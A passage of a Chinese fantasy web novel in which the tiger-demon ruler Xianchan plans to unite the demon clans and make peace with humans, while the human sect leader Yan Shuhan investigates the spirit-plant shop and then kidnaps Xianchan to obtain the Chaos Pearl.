衔蝉自己还能用混沌宝珠催生的灵植做利益纽带,将各大妖族都牢牢的系在一起。 她还有人类师尊师妹的支持, 将来还有希望促成两族和平,让人与妖都能自在和睦的生活在同一个世界上。 如果她能让所有妖族都能吃得起灵植,用得起银子,出门在外也不必再躲避人类,那她还愁别的妖不服她吗? “所以我们的短期目标是, 招揽更多的妖族!” “长期目标就是统一妖族,再助力太上皇成为人族之首,达成两族和解!” 衔蝉站在大石头上慷慨激昂:“让我们为了更美好更和谐的世界而奋斗吧!” 大家:“” 为什么脚指头都抠进地里了,但又莫名其妙的感觉很热血! 阿琅忽然跳出来大喊:“雪狐族誓死追随大王!” 她身后的雪狐们愣了一下,也连忙跟着齐声高喊。 东坡子洞的老成员们一看,气势也不能输给人家啊!也跟着喊。 包括山上的人类铁匠等也跟着一起山呼起来, 一时间, 在场所有人和妖都可耻的燃起来了! 喊完口号,接下来就该干实事了。 衔蝉当场就开始给大家分配任务。 首先是雪狐族, 衔蝉让雪狐们辅佐阿琅,再去联络曾经相熟的妖族。 “去告诉她们,妖王陛下已经出关,哪一族不来觐见就是哪一族有取死之道!” 衔蝉扯虎妈的大旗扯得一点都不心虚。 那可是她亲妈!向妈妈借点力又不是什么羞耻的事情,想干大事的人, 哪个能不借力? 路涉川在旁边闷笑了一声。 小崽子,还挺精。 但她确实也不介意给崽子当靠山。 妈妈本来就是孩子最大的靠山。 衔蝉假装没听见虎妈的笑声,严肃着脸继续安排任务。 “三参,你们在山下继续保持跟人族的友好相处,要尽可能的让咱们东坡子洞在人族里也打响名声!” “光是平安镇和附近的几个镇子还不够!” “还要让更多的人知道,咱们并不是仇恨人类的妖,咱们愿意跟她们做生意,做朋友!” 再给负责这事的三参画个饼:“你将来就是咱们两族之间的大使!” “以后妖族和人族之间的通商贸易或者别的事务,都交给你了!” 三参挺直腰板:“得令!” 衔蝉又看向关师傅等人:“关师傅,你们放假的时候,也可以多下山走走。” 她们就是活生生的例子,可以让更多的人类看到东坡子洞对人族的态度。 顺便也向人类们传达一个意向:东坡子洞也愿意接收人族成员。 要是以后有人类想上山找活干,她们都会很欢迎的! 关衡笑应道:“明白,大王放心,日后我们会多下山的。” 经过这么久的相处,她们这些人早已没有当初的苦大仇深。 东坡子洞就是她们的新家,她们当然也乐意为了这个大家庭做些什么。 “白果,灰绒,麦子,给你们一个新任务。” 衔蝉看向已经成为了技术骨干的几位小妖:“我想派你们出个外勤。” “你们去找那些没有投靠势力的微末小妖,告诉她们,来东坡子洞,干活就有饭吃!” 既然要一统全妖族,那当然不能忽略了占据大多数的末流小妖们。 虽然历代妖王都拿这些小妖当空气,但在人类社会里学了不少知识的衔蝉从不轻视每一个个体。 比如山上这些法力不高的小妖,她们可能在战斗上没什么天赋,但这并不代表她们在别的方面没有天赋。 白果现在就可会种粮食了,她尤其擅长堆肥,但凡她沤的肥料,总能让作物们长得更好。 她还把自己沤肥的窍门教给大家,直接让田里的粮食产量翻了倍。 灰绒现在是山上最受欢迎的大厨之一。 她做出来的大锅饭,大家都喜欢。 这看似是没什么大用的本事,却能让新来的成员在一顿美味的大锅饭里吃出对未来的期望。 每次山上有新的小妖来投,都会在吃过山上的大锅饭后一脸坚定的表示就算为了这口饭她们也会努力在山上发光发热的! 吃了山上的饭,就成了洞里的妖。 麦子的变化也很大。 她经过一段时间的学习和思考后,选择转去做了文书。 她每天都努力学认字学算账,现在已经是东山仓库的仓管出纳了。 她们就是东坡子洞的活招牌。 让她们出去,让别的小妖亲眼看看,哪怕是末流小妖,在东坡子洞也能通过努力过上好日子! 这样东坡子洞以后的发展才能更均衡。 不是像别的妖族那样一味地偏重战斗掠夺,而是要耕与战并重,全方位的发展。 当然也不是说战斗就不重要了。 家里有粮仓,就必须要有能守住粮仓的枪。 “玄蛛,你要带着妖兵们刻苦修炼,提升战斗力。” “将来要是有新来的妖族不服,你就要去揍服她们!” 玄蛛当即抱拳领命。 她巴不得在妖王陛下面前多立功,好让自己离偶像更近一步! 衔蝉:“” 看不出来,玄蛛居然还有脑残粉的潜质。 等风妧回来了,看见她这罕见的热血上头的样子,肯定会偷偷跑来跟她边蛐蛐边笑的。 但话又说回来,粉上虎妈,她真有眼光! 在心里夸了一下玄蛛后,衔蝉继续给大家分配任务。 “胡图,你带些妖,去看看太上皇那边怎么样了?有没有需要搭把手的?要什么时候才能回来?” 在衔蝉的目标计划里,师尊就是未来的另一根定海神针。 她将关系到衔蝉的两族破冰计划是否能顺利铺开。 所以衔蝉很关心风朔在天都的情况,时不时的就要送信去问问。 在信中,衔蝉得知师尊居然与她的想法不谋而合,现在正在往人族金字塔最顶端走。 到时候,两族都有能代表各自全族意见,能一锤定音的大姥,再谈什么就事半功倍。 至少不会再因为乱七八糟的派系内斗导致连坐在同一张桌子上都困难。 妖族这边衔蝉自己会努力,但人族那边就只能靠师尊和师妹了。 毕竟种族跟脚放在这,虎爪子也伸不了那么长。 胡图其实不太懂衔蝉这道命令的深意,但她最大的优点在于行动而不是深思。 于是她也立刻领命,带上了她亲爪带出来的情报部门,收拾收拾往天都去了。 最后衔蝉一把握住白三姑的手。 “三姑,咱们整个的大后方就交给你了,以后你就是咱们山上的内阁部长!” 白三姑郑重的点头:“大王放心。” “别的事情我或许不敢保证,但让后方稳定,我还是做得到的。” 不知不觉中,她已经不再只是几个小妖的长辈,而是全东坡子洞所有微末小妖的长辈了。 山上的一切杂事庶务,她全都管得井井有条,所有小妖都服她。 现在大家都知道,遇到了什么难以解决的事,就可以去找白总管。 大鸽子总管不会打官腔,也不会摆架子,她会耐心倾听你的问题,再想办法帮你解决问题。 衔蝉看着姑姑这一路走来的变化,她也很高兴。 曾经有点恐人的三姑,现在已经可以很自然的跟关师傅她们一起聊山下的事情了。 虎非常感慨。 这之后,山上就又忙碌起来。 大家都按照衔蝉的吩咐,做自己的新任务去了。 另一边。 一支从天都出发的队伍急匆匆的朝平安镇的方向赶来。 然而领头的人却不是风朔,而是晏舒寒。 风朔风妧甚至不在这支队伍里。 晏舒寒策马疾驰,在下一个休整点停下暂歇时,招来手下问道:“风朔那边怎么样了?” “回堂主,暂时没有异动,我们的人至少还能拖住她半个月。” 晏舒寒沉吟:“半个月时间有点紧。” 随后她下令:“务必要在半个月内赶到平安镇!” 平安镇可以说是风朔的私人势力范围,那家灵植店,搞不好就是她一手培养起来的。 所以这一次,晏舒寒得想办法避开跟她正面对上。 她这次只是想去求证一个问题。 一个可能会影响到全人族的未来的问题。 ——平安镇上忽然出现的那些灵植,究竟是怎么来的? 如今妖王都打破封印出来了,那她有没有可能把当年毁掉的混沌宝珠又蕴养好了呢? 除了混沌宝珠之外,晏舒寒实在想不到还有什么东西能让一向贫瘠的平安镇也能培育出大量的灵植了。 但如果真的是混沌宝珠重新出世,那对晏舒寒而言真是个不折不扣的坏消息。 她宁愿是风朔得到了混沌宝珠,也不愿混沌宝珠再次落入妖王手中。 前者顶多分去她的部分权势,但后者可是能要了所有人的命的! 妖王刚出关就杀了天师堂几个分堂里的降妖师,要是再让她得到混沌宝珠,那整个天师堂就别想好了。 当年她为了不让宝珠落在人类手里竟不惜毁掉与之共生的亲子,其手段之狠辣,让所有人都为之胆寒。 她连对自己的崽子都那么心狠手辣,那对人类还用说吗? 晏舒寒越想越忧虑,无论如何,这平安镇她都要去走一趟。 如果混沌宝珠果然在风朔手里,她倒可以暂时松口气,回头专心应对妖王出世便是。 但如果是她最不愿意发生的情况,那留在天都的风朔就是人族最后的底牌和希望了。《 》 100-110 第101章 带着满腹忧虑, 晏舒寒一行人终于来到了平安镇。 这里依旧是人与妖热热闹闹生活在一起的样子。 镇上的灵植店也依旧每天排着长队。 晏舒寒翻身下马,将马儿的缰绳牵在手里缓步前行,路边还有几个妖精摊主好奇的打量她。 而晏舒寒也在打量着平安镇上的一切。 见到街上的人和妖彼此互相打招呼, 砍价, 闲聊,甚至是勾肩搭背一起喝酒吃肉的场景, 晏舒寒心中微动。 若是整个中州都这样,那该多好。 可惜晏舒寒知道那根本不可能。 当初人族对妖王做的那些事, 可以说是每一桩都在找死。 利用灵霄还以人族大义逼她上战场,最终害她死在妖王师尊面前; 抢夺混沌宝珠逼得妖王不得不亲自出手将宝珠与亲子一并毁去; 还集结举族之力将妖王封印镇压在岭山王庭,封印妖王之后又是长达数百年的对妖族的屠戮 易地而处,如果有人这样对待晏舒寒,她也会跟对方全族不死不休的。 何况听说那位妖王还是个睚眦必报的主。 晏舒寒去查过, 前段日子死于妖王手下的那些人,几乎全都是当年围剿妖王的人后代。 其中还有几个侥幸逃脱并用秘法延寿苟活至今的老东西,也被妖王从秘地里翻出来杀了个挫骨扬灰。 她一点都没有隐藏自己的踪迹,所过之处都留下了巨大的虎爪印记和嚣张至极的妖气。 晏舒寒知道,她就是在告诉人类,她出来了, 她还清楚明白的记得当年的仇恨! 这让包括晏舒寒在内的天师堂高层寝食难安。 因为非要追溯血脉查下去的话, 现在谁祖上没跟当年那些世家沾点关系? 若是妖王认真细究下来,不仅天师堂所有人都得死, 人族也得一起死。 毕竟当年把妖王封印后人类可没少杀妖族甚至连天师堂都快变成“降妖师堂”了。 谁还记得当初天师堂里也有妖族天师呢? 甚至天师堂最初都是一位妖族与她的人类友人联手创建的。 想起天师堂封存的那些信息,晏舒寒就坐立难安。 从感情上来讲,她能理解妖王以及妖族对人族的仇恨,甚至也能理解妖王出关后的杀戮。 可从理智上来讲,她不能眼睁睁的看着自己的同胞也遭受如同曾经的妖族那样的屠戮 她知道最好的办法是竭尽全力为两族再谋个共存, 可她知道她的祖宗们把事做绝了,导致她们这些后代毫无转圜余地。 所以就只剩下了最后一条路。 再次集举族之力,破釜沉舟再战上一场! 哪怕惨胜,哪怕失败,也好过坐在原地引颈就戮! 这就是晏舒寒来平安镇的原因。 她要找到灵植,或者说混沌宝珠的下落。 如果那宝珠果然在风朔手里,那她再回去与风朔达成一些交易,再尽可能的助她修复宝珠,为人族添一分胜算。 可如果宝珠不在风朔手里晏舒寒此行已经做好了战死的准备。 宝珠若果然依旧在妖王手里,那她就算死,也要跟宝珠碎片同归于尽! 人族得不到的助力,妖族也不能得到! 否则人族就真得面临灭顶之灾了。 晏舒寒越想越凝重。 再看平安镇上这一片两族和睦的景象,也只像是一场镜花水月。 妖族现在还不知道妖王已经出关,也暂时还没有集结起来与人族开战的准备。 这是人族最后的机会! “哎哎!这位客人!脚挪开些!莫踢着我的药酒瓶子咧!” 一道略微尖细的声音打断了晏舒寒越来越凝重的深思。 晏舒寒低头一瞧,发现自己果真在走神的时候不小心踩到一个妖精摊主的摆摊大叶子上了。 那下半身还是原型的蛇妖摊主正吐着信子怒视她呢。 “抱歉,是我唐突了。” 晏舒寒默默收回脚,又掏出一小块银子递给蛇妖摊主。 她本意是赔偿这位小摊主,却不想对方误会了她的意思,以为她要买酒,便向她推销起来。 “客人好眼光喔!这是我本蛇亲自褪下的蛇蜕加了中药泡的药酒,喝了强身健体,百病全消!” 晏舒寒闻言笑了笑,也没多说什么,只买下了那一小瓶蛇蜕酒。 蛇妖摊主见她掏钱利落,又不还价,高兴得跟什么似的,还送给她一捧山里红。 “这是我自己在山上采的果子,客人拿去吃罢!以后常来啊!” 晏舒寒沉默了一会,收下了这捧卖相很一般的野果。 可惜了 在平安镇上找了家客栈住下后,晏舒寒一行人聚在一间天字号房里,皆是默然无语。 平安镇上的一切,她们说不触动是不可能的。 但她们终将成为毁掉这一切的罪魁祸首又一次。 沉重的心理负担让众人的面色都不好看,可没有人劝晏舒寒停下。 “堂主,我们去查那家灵植店了。”有人抱拳告退,不想再停留在让人窒息的沉默里。 晏舒寒点头应允。 她自己也用了一张隐匿符,转身从客栈窗户一跃而下。 隐匿符让晏舒寒宛如隐形一般,走在路上的人和妖都完全没有察觉到她的存在。 晏舒寒就保持着这种状态,将整个平安镇的地形都摸了一遍。 没找到灵田。 那么灵田应该不在镇上。 既然不在镇上,那应该就在山上。 晏舒寒转身向距离平安镇最近的一处岭山峰头走去。 * 三参她们又回山上搬了许多灵植下去补货。 有八卦镜碎片在,她们搬货可方便了,也不用大包小提的。 但今天衔蝉非说三参她们下山运货辛苦,要同她们一块去。 三参一脸狐疑:“大王,你是不是又被太上皇陛下揍了?” 衔蝉:“那没有!我就是想给你们搭把手!真的!” 三参:“那你的脸怎么肿了?” 衔蝉:“我摔的不行吗。” 三参:盯。 衔蝉恼羞成怒:“是是是!是被我妈揍的!怎么啦!” 虎一说到这个就浑身上下的骨头都开始隐隐作痛。 “她非说要一统妖族不能只靠种地,还要我和她一样能打才行!然后就天天以教导的名义揍我!” 衔蝉沉痛强调:“往死里揍我!” 已经习惯了人类师尊的鼓励教育的虎突然惨遭暴躁虎妈的棍棒教育,那叫一个不适应! 终于衔蝉被揍得受不了了,就想下山躲躲可怕的虎妈。 三参同情道:“喔!大王,那要不你跟我们去山下住几天吧。” “你都好些日子没下山了,现在镇上变化可大了,我们带你去玩呀!” 衔蝉:“好的好的!” 去哪都行,能少挨两天揍让她去蹲两天厕所都行! 于是衔蝉就又把自己变成了伪装形态的橘猫,跟着三参她们一起下山去。 走到山脚时,衔蝉抽了抽鼻子。 “好像有人?唔,又好像没有?” “大王,怎么啦?” “没什么!我好像闻错了,走吧走吧。” 正要上山的晏舒寒一个侧身退到下风口,让自己的气息与山林融为一体。 她本打算继续上山,但那抹熟悉的橘色背影让她暂停了脚步。 然而最终让晏舒寒调转方向的却不是衔蝉,而是三参。 晏舒寒在属下的信函里得知那灵植店的掌柜就是个绿衣白裳的人参妖。 确认三参的身份后,晏舒寒果断跟上了三参等妖。 再听了她们一路的闲聊后,晏舒寒看向胖橘的眼神就变了。 这小家伙居然还是一方山大王?看不出来啊。 难怪她能拿出那么多灵植救她。 等等。 晏舒寒脑子里闪过一丝想法,可又没来得及抓住那一闪而逝的灵光。 她只好继续跟着衔蝉和三参一起来到了灵植店里。 灵植店里也有天师布下的阵法,但这对晏舒寒来说并不难破解。 她只花了些心思,就顺利避开了阵法,在没有破坏阵符的情况下,潜入到了这家神秘的灵植店里。 店外依旧排着长队,店里也热闹,但店后面的仓库却安静得多。 小妖们忙忙碌碌的拿着纸笔,一边计数入库出库,一边噼里啪啦拨弄着算盘嘴里小声的念念有词。 三参和衔蝉就只负责哐哐的从八卦镜碎片里掏灵植,再拿给小妖们登记入库。 晏舒寒眉头微皱。 灵霄长老的镇山八卦镜碎片果然落在了岭山里。 看来这小橘猫还挺有运势的,连八卦镜碎片都捡到了。 又听她们说山里的灵田如何如何,师尊风朔如何如何,晏舒寒便大致捋清楚了情况。 这灵植店果然是风朔的。 那她就放心了。 但风朔为什么要把这么重要在资源交给妖族打理? 难道她被同族害过一次之后就宁愿相信异族,也不愿意相信同胞了吗? 正思索着,又听见一声惊呼。 “哇!大王!掌柜的!今天外面店里来了好多有钱人,她们把咱们最贵的灵植都买空了!” 三参吃惊:“最贵的灵植都是大王亲爪催生的,她们咋那么有眼光!那么有钱!” “重点不是这个啦掌柜的!重点是咱们库存的贵货都卖空了!” “喔!还好我们这次又补了很多诶!大王今天也在呢!” 小妖们便眼睛亮晶晶的看向衔蝉。 近来生意越来越好,大家也是痛并快乐着啊。 衔蝉:“好吧好吧,等着!本大王现在就给你们补更多的贵货!” 出来吧!藿麻南瓜红薯! 衔蝉一边催生,一边招呼三参她们:“快摘!摘了拿去后面院子里晒干再入库!” “得令!” 小妖们忙得热火朝天,晏舒寒却死死盯着衔蝉掌心的绿光—— 作者有话说:当年发生了什么: 路涉川:想要混沌宝珠?毁了也不给你们!摔! (其实反手就把崽送走了然后别人问就是没了亖了毁掉了) 不明真相的人类:虎毒不食子!这妖王真是心狠手辣,残暴至极! (提笔在小本本上记:残暴妖王为毁掉宝珠不惜鲨掉亲崽,手段狠辣恐怖如斯!) 最后咱们妖王陛下本就岌岌可危的名声更是雪上加霜但她从不在意这些也就是了。 第102章 是混沌宝珠的气息!! 难怪风朔会认一个妖族徒儿, 难怪她会把这么重要的资源交给这个小猫妖。 晏舒寒仿佛瞬间想通了什么关窍,恍然大悟。 但随之而来的又是深深的不安。 她能理解风朔的做法。 在妖族身上发现混沌宝珠碎片后,便将其拉拢收做徒儿, 这不能算是错。 可那毕竟是妖族。 师徒关系于人族而言堪比母子, 稳固无比,可妖族是没有这种习俗的。 你看妖王就知道了, 关键时刻,连亲子也能杀。 何况是个异族师尊? 待将来两族再次开战, 这小猫妖还会继续向着师尊,向着人族吗? 宝珠碎片就在她身上,她还不是想跑哪边就跑哪边! 而她万一背弃了人族师尊后果不堪设想。 为今之计,只有想办法让她把混沌宝珠碎片交出来,再由人族保管。 想到这里, 晏舒寒的眼神幽深了些许。 风朔如今还在天都。 而她恰巧也跟这小猫妖有些交情。 若是顺利的话,还能让小猫妖把宝珠碎片交给自己 这样便比交给风朔更让人安心。 更让晏舒寒安心。 她一向如此,重要的东西一定要握在自己手中。 她不相信除了自己以外的任何人。 所以在天都的时候她和风朔之间有始终有些谈不拢的地方。 这也是她将风朔拖在天都的另一重原因。 回想起近段时间的种种烦心事,晏舒寒暗叹一声。 罢了,先顾眼前吧。 待她寻个由头,跟这位猫小友“重逢”一番吧 衔蝉在风府后院催生了小半天的灵植, 晏舒寒来了又走, 她也没察觉到。 不是衔蝉菜,而是她毕竟入道时间还短。 而晏舒寒已经屹立于人族巅峰很多年了。 真要论实力, 她与千年难遇的天才风朔也不相上下。 风朔天资远超她没错,但风朔也还年轻,又在巅峰时期遭逢变故,到底是慢了她一步。 在晏舒寒眼里,风朔也不过是还未成长起来的后辈罢了。 何况是风朔教出来的异族小徒儿。 等衔蝉把三参的八卦镜碎片空间和风府后院以及店铺仓库全部填满贵货灵植后, 晏舒寒早就走了。 “大王大王!所有仓库都堆满了!大王辛苦了!我带你去镇上玩玩吧!” 三参本就玩心大,又存着点想让大王看看自己在山下打下的大好局面的小心思,便提出要带衔蝉去玩。 横竖现在店里员工多着呢,她这个掌柜偶尔甩手一时半刻的也没问题。 衔蝉下了山,也有心想看看平安镇的现状,便欣然应允。 一猫一萝卜就结伴走出了灵植店,往大街上窜。 橘猫形态的衔蝉跟着头顶开出了小花的半人形三参,大摇大摆的走进了人群。 然而没有人对她们的模样感到惊奇或是讶异。 因为满大街都是顶着耳朵尾巴爪子长角的大小妖精。 妖精们跟人类一样穿着衣裳,说着人话,做着和人类一样的工作。 人类们仿佛也有哪里不一样了。 曾经满大街都是的男人少了大半,取而代之的是随处可见的女人们。 女人们也不像从前那样只挎着篮子买菜洗衣,而是像以前的男人一样在各处工作,浑身的精气神也变了。 她们不再柔弱,不再卑微,而是大大方方的做工,做生意,做一切她们想做的事情。 “哇!山下变化真的好大。”衔蝉感慨。 三参挺胸抬头:“是的!” 她小声跟衔蝉蛐蛐:“其实我们刚开店的时候还不是这样的。” “刚开始的时候只有苗大娘她们相信我们,来给我们捧场。” “但是后来她们吃了灵植,变化可大了!是她们的变化,证明了咱们的灵植非常有用!” “所以后来大家都来买灵植啦。” “然后大家就越变越好了,也不再拿我们的跟脚说话。” “只有一小部分坏家伙还是在私下里说我们,但那些坏家伙我们都记得!我们不卖灵植给他们的!” “他们不服气想闹事,但那时候我们已经有很多老顾客了,大家都帮我们说话。” “她们赶走了那些坏家伙,让他们再也不敢撒野!” “因为咱们的老顾客吃了灵植之后力气可大了,一指头都能戳死那些坏家伙!” “所以他们也不敢还嘴,只能唯唯诺诺的走了,最后还搬家了。” “再后来咱们就有更多新顾客啦,隔壁镇的人,降妖师,别处来的小妖” “来的顾客多了,镇上就热闹了,客栈都新开了几十家,家家生意都好得不得了。” “喔!苗大娘她们也开了客栈呢!” “大王你知道吗,苗大娘的女儿吃了很多灵植后也长出了灵根,她被降妖师看中收徒啦!” “因为有个降妖师女儿,苗大娘现在每天都可高兴了。” “她家客栈也没人敢去闹事,因为苗大娘的降妖师女儿会用飞剑!” “谁要是敢闹事,她就拿飞剑飞到闹事的人面前!” 衔蝉哇了一声:“那真不错呀!” 三参点头:“可不是嘛!还有萧郎中她们” 她们边走边聊,路上的行人看见三参,还笑呵呵的跟她打招呼。 “三参掌柜,今天又出来逛街啦?店里生意还忙吗?” 三参就笑:“嗯呐,店里有别的员工,今天我们大王下山了,我跟她一起出来走走,看看大家。” 这时候大家才发现三参脚边的大橘。 还记得衔蝉的老顾客就惊呼一声:“衔蝉大王!好久不见了!” 然后蹲下来平视她,惊奇叹道:“啊哟,衔蝉大王的原型竟是这般的,看着真有福气,恁敦实!” 衔蝉也笑嘻嘻的点头,然后当众变成大家记忆里的人形。 “你还爱穿这黑白衣裳呐!”大家又笑。 衔蝉却一叉腰:“我给大家表演一个大变活猫!” 噗叽一声,黑白花的小老虎出现。 又噗叽一声,小老虎变橘猫。 再噗叽一声,橘猫变成人。 “哇!衔蝉大王还会变老虎!真厉害!”大家很捧场的鼓掌。 多多少少沾点人来疯的衔蝉一下子就乐了,告诉大家,她本来就是小老虎! 她妈妈是大老虎,所以她生下来就是小老虎! “橘猫只是伪装状态啦!”衔蝉解释道。 人们又惊叹起来,啧啧称奇。 她们夸衔蝉的原型真威风,真虎头虎脑,有耿直的人还问她怎么看着圆头圆脑短手短脚的,跟个虎崽似的? 衔蝉:“我妈说我确实还没成年。” 大白虎是当今世上唯一的神兽后裔,寿元悠长,衔蝉这年纪,当然还是个小虎崽儿。 她起码得长到一千岁,才能长到妈妈一半那么高呢。 人们又惊叹起来,围着衔蝉问她娘亲的原型有多大,是不是更威风? 说到这个衔蝉可就不困了,当街叽里呱啦的吹嘘起来。 “是的!我妈不仅超级大超级威风,她还是妖族之王!岭山之主听说过没有!” “想当年!我妈打遍妖族无敌手!巴拉巴拉” 她在这边吹得手舞足蹈,但在另一边蹲着等跟她“偶遇”“重逢”的晏舒寒却人都要麻了。 猫小友怎么还不从店里出来?她在这茶馆都快坐成雕塑了! 她哪里晓得,隔了三条街上,衔蝉已经在大家的簇拥下开始说书了。 而晏舒寒好歹也是天师堂堂主,没有往人群里钻的爱好,因此也就无从得知衔蝉在街上拉呱的那些话。 就这么意外的错过了最重要的一条信息 晏舒寒从上午等到中午,又从中午等到下午,终于等到了衔蝉。 看到那一抹橘色从茶馆外路过时,她立刻扬声挥手:“前面可是衔蝉小友?” 橘猫形态的衔蝉脚步一顿,感觉这声音貌似有点耳熟。 顺着方向望过去,衔蝉又笑了。 “晏姨姨!你怎么也来平安镇啦!是来买灵植的吗?买到了没?” 晏舒寒拍了拍身边的空座,请衔蝉入座。 衔蝉也不客气,一下子就跳到了椅子上蹲好,三参也很自来熟的坐在了另一张椅子上。 她还好奇:“大王,你们认识啊?” 晏舒寒点点头:“认识的,衔蝉小友曾经救我一命,我还没来得及报答呢。” 衔蝉直摆爪子:“顺手的事!晏姨姨不用太记在心上。” “这可不能不记。”晏舒寒给衔蝉倒了一杯茶,又推过来一碟子点心。 “除了救命之恩,我还要谢小友给的消息,多亏小友告知,我才来镇上买到了上好的灵植。” 三参插嘴:“不是我吹!但我们的灵植确实都是上好的,顶顶好!” 晏舒寒颔首:“确实顶顶好。” “就连天都也买不着这样好的灵植。” 三参立刻喜笑颜开。 衔蝉心里也高兴,当即就跟晏舒寒聊了起来。 一来二去的寒暄一段后,晏舒寒又热情相邀,请衔蝉去她下榻的客栈坐坐。 衔蝉这会正闲的没事,当即就答应了。 她听晏舒寒说起天都的事,还跟她打听自家师尊的消息。 “风朔啊?我当然知道。”晏舒寒明知故问:“她是人族天师,小友竟也认得她么?” 衔蝉点头:“她是我师尊呢!” 晏舒寒故作惊叹:“原来如此。” 衔蝉又问:“你不奇怪吗?你们天都的降妖师也会收妖族徒儿吗?” 晏舒寒摇头。 “天都的降妖师的确不收妖族徒儿,但风朔做什么事都不奇怪,她一直这样的,很特立独行。” 衔蝉一下子竖起耳朵。 “吔?我师尊很特立独行?这是怎么说?” 第103章 见衔蝉对风朔的事情感兴趣, 晏舒寒就跟她讲了些风朔年轻时的风流韵事。 衔蝉听得眼睛都瞪圆了。 没想到师尊现在看上去那么成熟稳重一个人,年轻时候居然那么潇洒不羁。 但是好像一切也有迹可循。 比如林时。 咳咳咳!徒不言师过,住脑住脑。 衔蝉和三参津津有味的听了半天风朔的少年黑历史。 晏舒寒这一讲, 就讲到了天色擦黑。 “这时候也不早了, 衔蝉小友若是不嫌弃的话,不如在我这里将就一晚?” 衔蝉想了想, 点了点头。 她想,都是熟人了, 又不是没有一起睡过,小问题。 “三参,今天我不回去啦,我就在晏姨姨这里睡了,你先回?我明天再去店里找你。” 三参顶着头上的小花眨了眨眼睛:“好吧。” 她走后, 这间天字一号房里就只剩下了晏舒寒和衔蝉。 房间很大,卧室也宽敞,衔蝉就很自来熟的洗了洗爪子,往卧室软榻上跳。 晏舒寒见状笑了笑,还往里面挪了挪,一副要和衔蝉抵足而眠秉烛夜谈的架势。 果然等衔蝉揣好爪子蹲好后, 晏舒寒就在床头盘膝坐下, 悄声问猫: “小友,我有些问题, 不知当问不当问?” 衔蝉很大方:“你问。” 晏舒寒就问了:“我观小友面相颇有福气,想来入道时所遇机缘不少吧?” 她暗示:“小友知道,我也是个天师,若是小友有什么想出手的资源,我都愿接手。” 衔蝉没听出她的试探, 只当她好奇。 胖橘舔了舔爪子,歪头道:“机缘说不好,但我好像也没啥能出手的东西。” 她最大的机缘就是遇到师尊和找到妈妈了,那总不能把师尊和妈妈给卖掉吧? 晏舒寒:“不,小友再想想。” 衔蝉这下感觉有点不对了,她狐疑的看向晏舒寒:“晏姨姨,你到底想问什么?” “想买灵植的话,去店里买就好了,报我的名字可以让三参给你打八折。” 晏舒寒长叹一声:“小友,非是我想逼迫你,而是你身怀重宝,容易遭人觊觎。” “小友知道我们人族有句话吗?怀璧其罪。” 衔蝉更疑惑了:“你怎么知道我身怀重宝?” 晏舒寒:“我毕竟是个天师。” 衔蝉:“那你是想让我把宝贝卖给你?” 晏舒寒犹豫了一下,还是点头:“是,别的我不说,但晏某人有有些底蕴,必不叫小友吃亏。” “小友所怀重宝,我可以用功法,符箓,灵丹,或是财宝来换。” “小友只管开价!” 衔蝉沉默了一会。 她身上的重宝,好像就只有八卦镜了吧? 混沌宝珠不算,那玩意儿本来就是与她伴生的,早就跟她的丹田融为一体了,属于她自己的一部分。 这个出不了一点。 算来算去,她身上能掏出来换资源的宝贝还真就只有八卦镜碎片了。 但你别说,这生意好像还真能做。 八卦镜碎片不止一片,她那还有多余的,卖一片给晏舒寒也没什么。 而且镇山八卦镜本就是灵霄为天师堂炼制出来的,卖一片给天师晏舒寒好像也挺合理。 估计晏舒寒也是因为这个缘故才想买它的吧。 天师堂的人,或许都对镇山八卦镜有点执念? “唔,好吧。”衔蝉一松口,晏舒寒立刻也肉眼可见的长舒一口气。 这是她所设想的最好的结局了。 衔蝉小友愿意出手宝珠碎片,哪怕是开出天价,她也会咬牙拿下的。 晏舒寒半是期待半是忐忑的等着衔蝉开价。 但衔蝉爪子一翻就摸出一片八卦镜碎片递给晏舒寒:“喏,要不你看着给吧。” 她有点苦恼:“这东西,我不好定价,也不知道该定多少。” 晏舒寒盯着那块镇山八卦镜的碎片,沉默了半晌,却始终没有伸手去接。 片刻后,她缓缓开口:“小友莫与我开玩笑了,你应当知道,我说的并非是它。” 衔蝉:? 衔蝉不解:“不是它?那你想要什么?” 她身上也没啥别的宝贝了啊? 见衔蝉一脸真心实意的疑惑,晏舒寒闭了闭眼。 最好的设想终究还是碎了。 也是,要是她手里拿着宝珠碎片,她也不会轻易拱手让人的。 “抱歉,小友。” 这是衔蝉今天听到的最后一句话。 晏舒寒伸手接住了软倒的衔蝉,灯火下,她的眼神晦暗不明。 愧疚吗? 肯定的。 这可是自己的救命恩猫。 如此恩将仇报之事,让晏舒寒自己都唾弃自己。 但她不后悔。 她可以负了这一个异族小友,却不能负了整个人族。 她宁愿做个忘恩负义的坏人,也不能做全人族的罪人。 晏舒寒强压下心底的愧意,将衔蝉用符文变小后装进一个大葫芦里。 随后她便召集了这次与她一同来平安镇的属下们,启程去离这里最近的天师堂分堂。 有些事情,还是要在自己的地盘上做才有把握。 穗城天师堂。 本地分堂主毕恭毕敬的将晏舒寒迎进门,又在她的吩咐下,将闲杂人等全部驱散。 晏舒寒从天都带来的属下们用最快的速度将穗城天师堂各个出入口都把持起来。 而晏舒寒则带着衔蝉,走进了一间有着重重防护的密室。 “好了,都下去吧。” 晏舒寒挥退所有人。 随后她在密室里环视一圈,又从腰间摸出一把匕首,毫不犹豫割开了自己的掌心。 以血为咒,晏舒寒在这间密室里布下了天罗地网。 血色符咒一条一条连接成锁链,又一层一层锁住密室中央的石台。 晏舒寒这才将衔蝉从大葫芦路倒出来,小心翼翼抱到石台上。 再勾动手指,让血符锁链缠绕住衔蝉的四肢脖颈。 于是等衔蝉醒来的时候,看到就是这么个场景。 阴暗密室里烛火明明灭灭,血色锁链从四面八方蔓延至自己全身,眼前似乎还有一道格外眼熟的人影。 衔蝉猛地从石台上跳了起来,又被锁链拖拽着按了下去。 “你居然绑架我?!” “是想不给钱就拿走八卦镜碎片吗?!亏我还以为你是个好人!” 衔蝉震惊之后就是破口大骂:“你这个人怎么这样子!忘恩负义!恩将仇报!辣鸡!” 晏舒寒一句都没还口。 等衔蝉骂完了,她才叹道:“衔蝉,是我对不住你。” “但是我别无选择。” “你放屁!什么别无选择,你要是给不起钱你就还价啊!砍价不会吗?啊?!” 晏舒寒摇摇头:“你知道我说的不是镇山八卦镜。” 镇山八卦镜早就碎了,里面的镇妖塔也坏了,她拿着那东西也没用。 衔蝉先是懵了一下然后继续骂:“那你想要什么!” 晏舒寒:“混沌宝珠。” “我知道混沌宝珠的碎片在你身上。” 她苦笑一声:“衔蝉,我不想为难你,只要你交出宝珠碎片,我立刻放你走。” “我不光放你走,我还会补偿你,你想要什么我都可以给你。” 